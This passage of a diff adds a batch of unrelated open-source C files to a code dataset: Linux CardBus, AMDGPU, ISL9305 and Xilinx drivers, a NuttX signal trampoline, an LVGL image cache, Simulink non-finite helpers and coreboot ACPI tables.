pci_scan_slot(bus, PCI_DEVFN(0, 0)); + pci_fixup_cardbus(bus); + + max = bus->busn_res.start; + for (pass = 0; pass < 2; pass++) + for_each_pci_bridge(dev, bus) + max = pci_scan_bridge(bus, dev, max, pass); + + /* + * Size all resources below the CardBus controller. + */ + pci_bus_size_bridges(bus); + pci_bus_assign_resources(bus); + cardbus_config_irq_and_cls(bus, s->pci_irq); + + /* socket specific tune function */ + if (s->tune_bridge) + s->tune_bridge(s, bus); + + pci_bus_add_devices(bus); + + pci_unlock_rescan_remove(); + return 0; +} + +/** + * cb_free() - remove CardBus device + * @s: the pcmcia_socket where the CardBus device was located + * + * cb_free() handles the lowest level PCI device cleanup. + */ +void cb_free(struct pcmcia_socket *s) +{ + struct pci_dev *bridge, *dev, *tmp; + struct pci_bus *bus; + + bridge = s->cb_dev; + if (!bridge) + return; + + bus = bridge->subordinate; + if (!bus) + return; + + pci_lock_rescan_remove(); + + list_for_each_entry_safe(dev, tmp, &bus->devices, bus_list) + pci_stop_and_remove_bus_device(dev); + + pci_unlock_rescan_remove(); +} diff --git a/pool/shard011/C/0142329_ez80_sigdeliver.c b/pool/shard011/C/0142329_ez80_sigdeliver.c new file mode 100644 index 0000000000000000000000000000000000000000..371c3526d4e9685154ba1f16d69b9ebeab5f2d42 --- /dev/null +++ b/pool/shard011/C/0142329_ez80_sigdeliver.c @@ -0,0 +1,143 @@ +/**************************************************************************** + * arch/z80/src/ez80/ez80_sigdeliver.c + * + * Copyright (C) 2008-2010, 2015 Gregory Nutt. All rights reserved. + * Author: Gregory Nutt + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include + +#include +#include + +#include +#include +#include +#include + +#include "chip/switch.h" +#include "sched/sched.h" +#include "up_internal.h" + +#ifndef CONFIG_DISABLE_SIGNALS + +/**************************************************************************** + * Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +/**************************************************************************** + * Name: up_sigdeliver + * + * Description: + * This is the a signal handling trampoline. When a signal action was + * posted. The task context was mucked with and forced to branch to this + * location with interrupts disabled. + * + ****************************************************************************/ + +void up_sigdeliver(void) +{ +#ifndef CONFIG_DISABLE_SIGNALS + FAR struct tcb_s *rtcb = (struct tcb_s*)g_readytorun.head; + chipreg_t regs[XCPTCONTEXT_REGS]; + sig_deliver_t sigdeliver; + + /* Save the errno. This must be preserved throughout the signal handling + * so that the user code final gets the correct errno value (probably + * EINTR). + */ + + int saved_errno = rtcb->pterrno; + + board_led_on(LED_SIGNAL); + + sdbg("rtcb=%p sigdeliver=%p sigpendactionq.head=%p\n", + rtcb, rtcb->xcp.sigdeliver, rtcb->sigpendactionq.head); + ASSERT(rtcb->xcp.sigdeliver != NULL); + + /* Save the real return state on the stack. */ + + ez80_copystate(regs, rtcb->xcp.regs); + regs[XCPT_PC] = rtcb->xcp.saved_pc; + regs[XCPT_I] = rtcb->xcp.saved_i; + + /* Get a local copy of the sigdeliver function pointer. We do this so + * that we can nullify the sigdeliver function pointer in the TCB and + * accept more signal deliveries while processing the current pending + * signals. + */ + + sigdeliver = rtcb->xcp.sigdeliver; + rtcb->xcp.sigdeliver = NULL; + + /* Then restore the task interrupt state. */ + + irqrestore(regs[XCPT_I]); + + /* Deliver the signals */ + + sigdeliver(rtcb); + + /* Output any debug messages BEFORE restoring errno (because they may + * alter errno), then disable interrupts again and restore the original + * errno that is needed by the user logic (it is probably EINTR). + */ + + sdbg("Resuming\n"); + (void)irqsave(); + rtcb->pterrno = saved_errno; + + /* Then restore the correct state for this thread of + * execution. + */ + + board_led_off(LED_SIGNAL); + ez80_restorecontext(regs); +#endif +} + +#endif /* CONFIG_DISABLE_SIGNALS */ diff --git a/pool/shard011/C/0142330_amdgpu_ioc32.c b/pool/shard011/C/0142330_amdgpu_ioc32.c new file mode 100644 index 0000000000000000000000000000000000000000..63c3dd9d296ede960763e07dc63190202e63af8e --- /dev/null +++ b/pool/shard011/C/0142330_amdgpu_ioc32.c @@ -0,0 +1,49 @@ +/** + * \file amdgpu_ioc32.c + * + * 32-bit ioctl compatibility routines for the AMDGPU DRM. + * + * \author Paul Mackerras + * + * Copyright (C) Paul Mackerras 2005 + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice (including the next + * paragraph) shall be included in all copies or substantial portions of the + * Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + * IN THE SOFTWARE. + */ +#include + +#include +#include +#include "amdgpu_drv.h" + +long amdgpu_kms_compat_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) +{ + unsigned int nr = DRM_IOCTL_NR(cmd); + int ret; + + if (nr < DRM_COMMAND_BASE) + { + return drm_compat_ioctl(filp, cmd, arg); + } + + ret = amdgpu_drm_ioctl(filp, cmd, arg); + + return ret; +} diff --git a/pool/shard011/C/0142331_lv_img_cache.c b/pool/shard011/C/0142331_lv_img_cache.c new file mode 100644 index 0000000000000000000000000000000000000000..f5dc99d3c6bacb6a484656f3dfafaef0acf96a99 --- /dev/null +++ b/pool/shard011/C/0142331_lv_img_cache.c @@ -0,0 +1,217 @@ +/** + * @file lv_img_cache.c + * + */ + +/********************* + * INCLUDES + *********************/ +#include "../lv_misc/lv_debug.h" +#include "lv_img_cache.h" +#include "lv_img_decoder.h" +#include "lv_draw_img.h" +#include "../lv_hal/lv_hal_tick.h" +#include "../lv_misc/lv_gc.h" + +/********************* + * DEFINES + *********************/ +/*Decrement life with this value on every open*/ +#define LV_IMG_CACHE_AGING 1 + +/*Boost life by this factor (multiply time_to_open with this value)*/ +#define LV_IMG_CACHE_LIFE_GAIN 1 + +/*Don't let life to be greater than this limit because it would require a lot of time to + * "die" from very high values */ +#define LV_IMG_CACHE_LIFE_LIMIT 1000 + +/********************** + * TYPEDEFS + **********************/ + +/********************** + * STATIC PROTOTYPES + **********************/ +#if LV_IMG_CACHE_DEF_SIZE == 0 + static lv_img_cache_entry_t cache_temp; +#endif + +/********************** + * STATIC VARIABLES + **********************/ +#if LV_IMG_CACHE_DEF_SIZE + static uint16_t entry_cnt; +#endif + +/********************** + * MACROS + **********************/ + +/********************** + * GLOBAL FUNCTIONS + **********************/ + +/** + * Open an image using the image decoder interface and cache it. + * The image will be left open meaning if the image decoder open callback allocated memory then it will remain. + * The image is closed if a new image is opened and the new image takes its place in the cache. + * @param src source of the image. Path to file or pointer to an `lv_img_dsc_t` variable + * @param color color The color of the image with `LV_IMG_CF_ALPHA_...` + * @return pointer to the cache entry or NULL if can open the image + */ +lv_img_cache_entry_t * _lv_img_cache_open(const void * src, lv_color_t color) +{ + /*Is the image cached?*/ + lv_img_cache_entry_t * cached_src = NULL; + +#if LV_IMG_CACHE_DEF_SIZE + if(entry_cnt == 0) { + LV_LOG_WARN("lv_img_cache_open: the cache size is 0"); + return NULL; + } + + lv_img_cache_entry_t * cache = LV_GC_ROOT(_lv_img_cache_array); + + /*Decrement all lifes. Make the entries older*/ + uint16_t i; + for(i = 0; i < entry_cnt; i++) { + if(cache[i].life > INT32_MIN + LV_IMG_CACHE_AGING) { + cache[i].life -= LV_IMG_CACHE_AGING; + } + } + + for(i = 0; i < entry_cnt; i++) { + bool match = false; + lv_img_src_t src_type = lv_img_src_get_type(cache[i].dec_dsc.src); + if(src_type == LV_IMG_SRC_VARIABLE) { + if(cache[i].dec_dsc.src == src && cache[i].dec_dsc.color.full == color.full) match = true; + } + else if(src_type == LV_IMG_SRC_FILE) { + if(strcmp(cache[i].dec_dsc.src, src) == 0) match = true; + } + + if(match) { + /* If opened increment its life. + * Image difficult to open should live longer to keep avoid frequent their recaching. + * Therefore increase `life` with `time_to_open`*/ + cached_src = &cache[i]; + cached_src->life += cached_src->dec_dsc.time_to_open * LV_IMG_CACHE_LIFE_GAIN; + if(cached_src->life > LV_IMG_CACHE_LIFE_LIMIT) cached_src->life = LV_IMG_CACHE_LIFE_LIMIT; + LV_LOG_TRACE("image draw: image found in the cache"); + break; + } + } + + /*The image is not cached then cache it now*/ + if(cached_src) return cached_src; + + /*Find an entry to reuse. Select the entry with the least life*/ + cached_src = &cache[0]; + for(i = 1; i < entry_cnt; i++) { + if(cache[i].life < cached_src->life) { + cached_src = &cache[i]; + } + } + + /*Close the decoder to reuse if it was opened (has a valid source)*/ + if(cached_src->dec_dsc.src) { + lv_img_decoder_close(&cached_src->dec_dsc); + LV_LOG_INFO("image draw: cache miss, close and reuse an entry"); + } + else { + LV_LOG_INFO("image draw: cache miss, cached to an empty entry"); + } + +#else + cached_src = &cache_temp; +#endif + /*Open the image and measure the time to open*/ + uint32_t t_start; + t_start = lv_tick_get(); + cached_src->dec_dsc.time_to_open = 0; + lv_res_t open_res = lv_img_decoder_open(&cached_src->dec_dsc, src, color); + if(open_res == LV_RES_INV) { + LV_LOG_WARN("Image draw cannot open the image resource"); + lv_img_decoder_close(&cached_src->dec_dsc); + _lv_memset_00(&cached_src->dec_dsc, sizeof(lv_img_decoder_dsc_t)); + _lv_memset_00(cached_src, sizeof(lv_img_cache_entry_t)); + cached_src->life = INT32_MIN; /*Make the empty entry very "weak" to force its use */ + return NULL; + } + + cached_src->life = 0; + + /*If `time_to_open` was not set in the open function set it here*/ + if(cached_src->dec_dsc.time_to_open == 0) { + cached_src->dec_dsc.time_to_open = lv_tick_elaps(t_start); + } + + if(cached_src->dec_dsc.time_to_open == 0) cached_src->dec_dsc.time_to_open = 1; + + return cached_src; +} + +/** + * Set the number of images to be cached. + * More cached images mean more opened image at same time which might mean more memory usage. + * E.g. if 20 PNG or JPG images are open in the RAM they consume memory while opened in the cache. + * @param new_entry_cnt number of image to cache + */ +void lv_img_cache_set_size(uint16_t new_entry_cnt) +{ +#if LV_IMG_CACHE_DEF_SIZE == 0 + LV_UNUSED(new_entry_cnt); + LV_LOG_WARN("Can't change cache size because it's disabled by LV_IMG_CACHE_DEF_SIZE = 0"); +#else + if(LV_GC_ROOT(_lv_img_cache_array) != NULL) { + /*Clean the cache before free it*/ + lv_img_cache_invalidate_src(NULL); + lv_mem_free(LV_GC_ROOT(_lv_img_cache_array)); + } + + /*Reallocate the cache*/ + LV_GC_ROOT(_lv_img_cache_array) = lv_mem_alloc(sizeof(lv_img_cache_entry_t) * new_entry_cnt); + LV_ASSERT_MEM(LV_GC_ROOT(_lv_img_cache_array)); + if(LV_GC_ROOT(_lv_img_cache_array) == NULL) { + entry_cnt = 0; + return; + } + entry_cnt = new_entry_cnt; + + /*Clean the cache*/ + uint16_t i; + for(i = 0; i < entry_cnt; i++) { + _lv_memset_00(&LV_GC_ROOT(_lv_img_cache_array)[i].dec_dsc, sizeof(lv_img_decoder_dsc_t)); + _lv_memset_00(&LV_GC_ROOT(_lv_img_cache_array)[i], sizeof(lv_img_cache_entry_t)); + } +#endif +} + +/** + * Invalidate an image source in the cache. + * Useful if the image source is updated therefore it needs to be cached again. + * @param src an image source path to a file or pointer to an `lv_img_dsc_t` variable. + */ +void lv_img_cache_invalidate_src(const void * src) +{ +#if LV_IMG_CACHE_DEF_SIZE + lv_img_cache_entry_t * cache = LV_GC_ROOT(_lv_img_cache_array); + + uint16_t i; + for(i = 0; i < entry_cnt; i++) { + if(cache[i].dec_dsc.src == src || src == NULL) { + if(cache[i].dec_dsc.src != NULL) { + lv_img_decoder_close(&cache[i].dec_dsc); + } + + _lv_memset_00(&cache[i].dec_dsc, sizeof(lv_img_decoder_dsc_t)); + _lv_memset_00(&cache[i], sizeof(lv_img_cache_entry_t)); + } + } +#endif +} + +/********************** + * STATIC FUNCTIONS + **********************/ diff --git a/pool/shard011/C/0142332_isl9305.c b/pool/shard011/C/0142332_isl9305.c new file mode 100644 index 0000000000000000000000000000000000000000..978f5e903cae1676e778497cb46317fbd5d32606 --- /dev/null +++ b/pool/shard011/C/0142332_isl9305.c @@ -0,0 +1,209 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * isl9305 - Intersil ISL9305 DCDC regulator + * + * Copyright 2014 Linaro Ltd + * + * Author: Mark Brown + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Registers + */ +#define ISL9305_DCD1OUT 0x0 +#define ISL9305_DCD2OUT 0x1 +#define ISL9305_LDO1OUT 0x2 +#define ISL9305_LDO2OUT 0x3 +#define ISL9305_DCD_PARAMETER 0x4 +#define ISL9305_SYSTEM_PARAMETER 0x5 +#define ISL9305_DCD_SRCTL 0x6 + +#define ISL9305_MAX_REG ISL9305_DCD_SRCTL + +/* + * DCD_PARAMETER + */ +#define ISL9305_DCD_PHASE 0x40 +#define ISL9305_DCD2_ULTRA 0x20 +#define ISL9305_DCD1_ULTRA 0x10 +#define ISL9305_DCD2_BLD 0x08 +#define ISL9305_DCD1_BLD 0x04 +#define ISL9305_DCD2_MODE 0x02 +#define ISL9305_DCD1_MODE 0x01 + +/* + * SYSTEM_PARAMETER + */ +#define ISL9305_I2C_EN 0x40 +#define ISL9305_DCDPOR_MASK 0x30 +#define ISL9305_LDO2_EN 0x08 +#define ISL9305_LDO1_EN 0x04 +#define ISL9305_DCD2_EN 0x02 +#define ISL9305_DCD1_EN 0x01 + +/* + * DCD_SRCTL + */ +#define ISL9305_DCD2SR_MASK 0xc0 +#define ISL9305_DCD1SR_MASK 0x07 + +static const struct regulator_ops isl9305_ops = { + .enable = regulator_enable_regmap, + .disable = regulator_disable_regmap, + .is_enabled = regulator_is_enabled_regmap, + .list_voltage = regulator_list_voltage_linear, + .get_voltage_sel = regulator_get_voltage_sel_regmap, + .set_voltage_sel = regulator_set_voltage_sel_regmap, +}; + +static const struct regulator_desc isl9305_regulators[] = { + [ISL9305_DCD1] = { + .name = "DCD1", + .of_match = of_match_ptr("dcd1"), + .regulators_node = of_match_ptr("regulators"), + .n_voltages = 0x70, + .min_uV = 825000, + .uV_step = 25000, + .vsel_reg = ISL9305_DCD1OUT, + .vsel_mask = 0x7f, + .enable_reg = ISL9305_SYSTEM_PARAMETER, + .enable_mask = ISL9305_DCD1_EN, + .supply_name = "VINDCD1", + .ops = &isl9305_ops, + .owner = THIS_MODULE, + }, + [ISL9305_DCD2] = { + .name = "DCD2", + .of_match = of_match_ptr("dcd2"), + .regulators_node = of_match_ptr("regulators"), + .n_voltages = 0x70, + .min_uV = 825000, + .uV_step = 25000, + .vsel_reg = ISL9305_DCD2OUT, + .vsel_mask = 0x7f, + .enable_reg = ISL9305_SYSTEM_PARAMETER, + .enable_mask = ISL9305_DCD2_EN, + .supply_name = "VINDCD2", + .ops = &isl9305_ops, + .owner = THIS_MODULE, + }, + [ISL9305_LDO1] = { + .name = "LDO1", + .of_match = of_match_ptr("ldo1"), + .regulators_node = of_match_ptr("regulators"), + .n_voltages = 0x37, + .min_uV = 900000, + .uV_step = 50000, + .vsel_reg = ISL9305_LDO1OUT, + .vsel_mask = 0x3f, + .enable_reg = ISL9305_SYSTEM_PARAMETER, + .enable_mask = ISL9305_LDO1_EN, + .supply_name = "VINLDO1", + .ops = &isl9305_ops, + .owner = THIS_MODULE, + }, + [ISL9305_LDO2] = { + .name = "LDO2", + .of_match = of_match_ptr("ldo2"), + .regulators_node = of_match_ptr("regulators"), + .n_voltages = 0x37, + .min_uV = 900000, + .uV_step = 50000, + .vsel_reg = ISL9305_LDO2OUT, + .vsel_mask = 0x3f, + .enable_reg = ISL9305_SYSTEM_PARAMETER, + .enable_mask = ISL9305_LDO2_EN, + .supply_name = "VINLDO2", + .ops = &isl9305_ops, + .owner = THIS_MODULE, + }, +}; + +static const struct regmap_config isl9305_regmap = { + .reg_bits = 8, + .val_bits = 8, + + .max_register = ISL9305_MAX_REG, + .cache_type = REGCACHE_RBTREE, +}; + +static int isl9305_i2c_probe(struct i2c_client *i2c, + const struct i2c_device_id *id) +{ + struct regulator_config config = { }; + struct isl9305_pdata *pdata = i2c->dev.platform_data; + struct regulator_dev *rdev; + struct regmap *regmap; + int i, ret; + + regmap = devm_regmap_init_i2c(i2c, &isl9305_regmap); + if (IS_ERR(regmap)) { + ret = PTR_ERR(regmap); + dev_err(&i2c->dev, "Failed to create regmap: %d\n", ret); + return ret; + } + + config.dev = &i2c->dev; + + for (i = 0; i < ARRAY_SIZE(isl9305_regulators); i++) { + if (pdata) + config.init_data = pdata->init_data[i]; + else + config.init_data = NULL; + + rdev = devm_regulator_register(&i2c->dev, + &isl9305_regulators[i], + &config); + if (IS_ERR(rdev)) { + ret = PTR_ERR(rdev); + dev_err(&i2c->dev, "Failed to register %s: %d\n", + isl9305_regulators[i].name, ret); + return ret; + } + } + + return 0; +} + +#ifdef CONFIG_OF +static const struct of_device_id isl9305_dt_ids[] = { + { .compatible = "isl,isl9305" }, /* for backward compat., don't use */ + { .compatible = "isil,isl9305" }, + { .compatible = "isl,isl9305h" }, /* for backward compat., don't use */ + { .compatible = "isil,isl9305h" }, + {}, +}; +MODULE_DEVICE_TABLE(of, isl9305_dt_ids); +#endif + +static const struct i2c_device_id isl9305_i2c_id[] = { + { "isl9305", }, + { "isl9305h", }, + { } +}; +MODULE_DEVICE_TABLE(i2c, isl9305_i2c_id); + +static struct i2c_driver isl9305_regulator_driver = { + .driver = { + .name = "isl9305", + .of_match_table = of_match_ptr(isl9305_dt_ids), + }, + .probe = isl9305_i2c_probe, + .id_table = isl9305_i2c_id, +}; + +module_i2c_driver(isl9305_regulator_driver); + +MODULE_AUTHOR("Mark Brown"); +MODULE_DESCRIPTION("Intersil ISL9305 DCDC regulator"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142333_xilinx-pr-decoupler.c b/pool/shard011/C/0142333_xilinx-pr-decoupler.c new file mode 100644 index 0000000000000000000000000000000000000000..7d69af23056773136fa4611d0dd7d178ee2e4567 --- /dev/null +++ b/pool/shard011/C/0142333_xilinx-pr-decoupler.c @@ -0,0 +1,166 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * Copyright (c) 2017, National Instruments Corp. + * Copyright (c) 2017, Xilix Inc + * + * FPGA Bridge Driver for the Xilinx LogiCORE Partial Reconfiguration + * Decoupler IP Core. + */ + +#include +#include +#include +#include +#include +#include + +#define CTRL_CMD_DECOUPLE BIT(0) +#define CTRL_CMD_COUPLE 0 +#define CTRL_OFFSET 0 + +struct xlnx_pr_decoupler_data { + void __iomem *io_base; + struct clk *clk; +}; + +static inline void xlnx_pr_decoupler_write(struct xlnx_pr_decoupler_data *d, + u32 offset, u32 val) +{ + writel(val, d->io_base + offset); +} + +static inline u32 xlnx_pr_decouple_read(const struct xlnx_pr_decoupler_data *d, + u32 offset) +{ + return readl(d->io_base + offset); +} + +static int xlnx_pr_decoupler_enable_set(struct fpga_bridge *bridge, bool enable) +{ + int err; + struct xlnx_pr_decoupler_data *priv = bridge->priv; + + err = clk_enable(priv->clk); + if (err) + return err; + + if (enable) + xlnx_pr_decoupler_write(priv, CTRL_OFFSET, CTRL_CMD_COUPLE); + else + xlnx_pr_decoupler_write(priv, CTRL_OFFSET, CTRL_CMD_DECOUPLE); + + clk_disable(priv->clk); + + return 0; +} + +static int xlnx_pr_decoupler_enable_show(struct fpga_bridge *bridge) +{ + const struct xlnx_pr_decoupler_data *priv = bridge->priv; + u32 status; + int err; + + err = clk_enable(priv->clk); + if (err) + return err; + + status = readl(priv->io_base); + + clk_disable(priv->clk); + + return !status; +} + +static const struct fpga_bridge_ops xlnx_pr_decoupler_br_ops = { + .enable_set = xlnx_pr_decoupler_enable_set, + .enable_show = xlnx_pr_decoupler_enable_show, +}; + +static const struct of_device_id xlnx_pr_decoupler_of_match[] = { + { .compatible = "xlnx,pr-decoupler-1.00", }, + { .compatible = "xlnx,pr-decoupler", }, + {}, +}; +MODULE_DEVICE_TABLE(of, xlnx_pr_decoupler_of_match); + +static int xlnx_pr_decoupler_probe(struct platform_device *pdev) +{ + struct xlnx_pr_decoupler_data *priv; + struct fpga_bridge *br; + int err; + struct resource *res; + + priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL); + if (!priv) + return -ENOMEM; + + res = platform_get_resource(pdev, IORESOURCE_MEM, 0); + priv->io_base = devm_ioremap_resource(&pdev->dev, res); + if (IS_ERR(priv->io_base)) + return PTR_ERR(priv->io_base); + + priv->clk = devm_clk_get(&pdev->dev, "aclk"); + if (IS_ERR(priv->clk)) { + if (PTR_ERR(priv->clk) != -EPROBE_DEFER) + dev_err(&pdev->dev, "input clock not found\n"); + return PTR_ERR(priv->clk); + } + + err = clk_prepare_enable(priv->clk); + if (err) { + dev_err(&pdev->dev, "unable to enable clock\n"); + return err; + } + + clk_disable(priv->clk); + + br = devm_fpga_bridge_create(&pdev->dev, "Xilinx PR Decoupler", + &xlnx_pr_decoupler_br_ops, priv); + if (!br) { + err = -ENOMEM; + goto err_clk; + } + + platform_set_drvdata(pdev, br); + + err = fpga_bridge_register(br); + if (err) { + dev_err(&pdev->dev, "unable to register Xilinx PR Decoupler"); + goto err_clk; + } + + return 0; + +err_clk: + clk_unprepare(priv->clk); + + return err; +} + +static int xlnx_pr_decoupler_remove(struct platform_device *pdev) +{ + struct fpga_bridge *bridge = platform_get_drvdata(pdev); + struct xlnx_pr_decoupler_data *p = bridge->priv; + + fpga_bridge_unregister(bridge); + + clk_unprepare(p->clk); + + return 0; +} + +static struct platform_driver xlnx_pr_decoupler_driver = { + .probe = xlnx_pr_decoupler_probe, + .remove = xlnx_pr_decoupler_remove, + .driver = { + .name = "xlnx_pr_decoupler", + .of_match_table = of_match_ptr(xlnx_pr_decoupler_of_match), + }, +}; + +module_platform_driver(xlnx_pr_decoupler_driver); + +MODULE_DESCRIPTION("Xilinx Partial Reconfiguration Decoupler"); +MODULE_AUTHOR("Moritz Fischer "); +MODULE_AUTHOR("Michal Simek "); +MODULE_LICENSE("GPL v2"); diff --git a/pool/shard011/C/0142334_rt_nonfinite.c b/pool/shard011/C/0142334_rt_nonfinite.c new file mode 100644 index 0000000000000000000000000000000000000000..2cbe671a5fc77cfc5ab13a744811ba3ac6f83c4b --- /dev/null +++ b/pool/shard011/C/0142334_rt_nonfinite.c @@ -0,0 +1,70 @@ +/* + * rt_nonfinite.c + * + * Code generation for model "hdlcodercpu_eml". + * + * Model version : 1.558 + * Simulink Coder version : 8.6 (R2014a) 27-Dec-2013 + * C source code generated on : Sun Aug 24 14:18:00 2014 + * + * Target selection: grt.tlc + * Note: GRT includes extra infrastructure and instrumentation for prototyping + * Embedded hardware selection: ASIC/FPGA->ASIC/FPGA + * Code generation objectives: Unspecified + * Validation result: Not run + */ +/* + * Abstract: + * Function to intialize non-finites, + * (Inf, NaN and -Inf). + */ + +#include "rt_nonfinite.h" +#include "rtGetNaN.h" +#include "rtGetInf.h" + +real_T rtInf; +real_T rtMinusInf; +real_T rtNaN; +real32_T rtInfF; +real32_T rtMinusInfF; +real32_T rtNaNF; + +/* + * Initialize the rtInf, rtMinusInf, and rtNaN needed by the + * generated code. NaN is initialized as non-signaling. Assumes IEEE. + */ +void rt_InitInfAndNaN(size_t realSize) +{ + (void) (realSize); + rtNaN = rtGetNaN(); + rtNaNF = rtGetNaNF(); + rtInf = rtGetInf(); + rtInfF = rtGetInfF(); + rtMinusInf = rtGetMinusInf(); + rtMinusInfF = rtGetMinusInfF(); +} + +/* Test if value is infinite */ +boolean_T rtIsInf(real_T value) +{ + return (boolean_T)((value==rtInf || value==rtMinusInf) ? 1U : 0U); +} + +/* Test if single-precision value is infinite */ +boolean_T rtIsInfF(real32_T value) +{ + return (boolean_T)(((value)==rtInfF || (value)==rtMinusInfF) ? 1U : 0U); +} + +/* Test if value is not a number */ +boolean_T rtIsNaN(real_T value) +{ + return (boolean_T)((value!=value) ? 1U : 0U); +} + +/* Test if single-precision value is not a number */ +boolean_T rtIsNaNF(real32_T value) +{ + return (boolean_T)(((value!=value) ? 1U : 0U)); +} diff --git a/pool/shard011/C/0142335_acpi_tables.c b/pool/shard011/C/0142335_acpi_tables.c new file mode 100644 index 0000000000000000000000000000000000000000..3337c6d9d1969da934db2644218a48b8155c6e5e --- /dev/null +++ b/pool/shard011/C/0142335_acpi_tables.c @@ -0,0 +1,107 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2008 Advanced Micro Devices, Inc. + * Copyright (C) 2010 Siemens AG, Inc. + * (Written by Josef Kellermann for Siemens AG, Inc.) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include <../../../northbridge/amd/amdk8/acpi.h> +#include +#include +#include +#include "mainboard.h" +#include + +#define GLOBAL_VARS_SIZE 0x100 + +typedef struct { + /* Miscellaneous */ + u16 osys; + u16 linx; + u32 pcba; + u8 mpen; + u8 reserv[247]; +} __attribute__((packed)) global_vars_t; + +static void acpi_write_gvars(global_vars_t *gvars) +{ + device_t dev; + struct resource *res; + + memset((void *)gvars, 0, GLOBAL_VARS_SIZE); + + gvars->pcba = EXT_CONF_BASE_ADDRESS; + dev = dev_find_slot(0, PCI_DEVFN(0,0)); + res = probe_resource(dev, 0x1C); + if( res ) + gvars->pcba = res->base; + + gvars->mpen = 1; +} + +unsigned long acpi_fill_madt(unsigned long current) +{ + /* create all subtables for processors */ + current = acpi_create_madt_lapics(current); + + /* Write SB600 IOAPIC, only one */ + current += acpi_create_madt_ioapic((acpi_madt_ioapic_t *) current, 2, + IO_APIC_ADDR, 0); +#if !CONFIG_LINT01_CONVERSION + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 0, 2, 0); + + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 9, 9, MP_IRQ_TRIGGER_LEVEL | MP_IRQ_POLARITY_LOW); +#else + /* 0: mean bus 0--->ISA */ + /* 0: PIC 0 */ + /* 2: APIC 2 */ + /* 5 mean: 0101 --> Edge-triggered, Active high */ + + /* create all subtables for processors */ + current = acpi_create_madt_lapic_nmis(current, MP_IRQ_TRIGGER_EDGE | MP_IRQ_POLARITY_HIGH, 1); + /* 1: LINT1 connect to NMI */ + set_nbcfg_enable_bits(dev_find_slot(0, PCI_DEVFN(0x18, 0)), 0x68, 1 << 16, 1 << 16); // Local Interrupt Conversion Enable +#endif + return current; +} + +void mainboard_inject_dsdt(device_t device) +{ + global_vars_t *gnvs = cbmem_add (CBMEM_ID_ACPI_GNVS, GLOBAL_VARS_SIZE); + + if (gnvs) { + memset(gnvs, 0, sizeof(*gnvs)); + acpi_write_gvars(gnvs); + + /* Add it to SSDT. */ + acpigen_write_scope("\\"); + acpigen_write_name_dword("NVSA", (u32) gnvs); + acpigen_pop_len(); + } +} diff --git a/pool/shard011/C/0142336_lsrequest.c b/pool/shard011/C/0142336_lsrequest.c new file mode 100644 index 0000000000000000000000000000000000000000..3134a2a80ad0c4b24298e86f15bc33f75aed7e3f --- /dev/null +++ b/pool/shard011/C/0142336_lsrequest.c @@ -0,0 +1,235 @@ +/* + * Copyright (C) 2012-2013 RCP100 Team (rcpteam@yahoo.com) + * + * This file is part of RCP100 project + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public 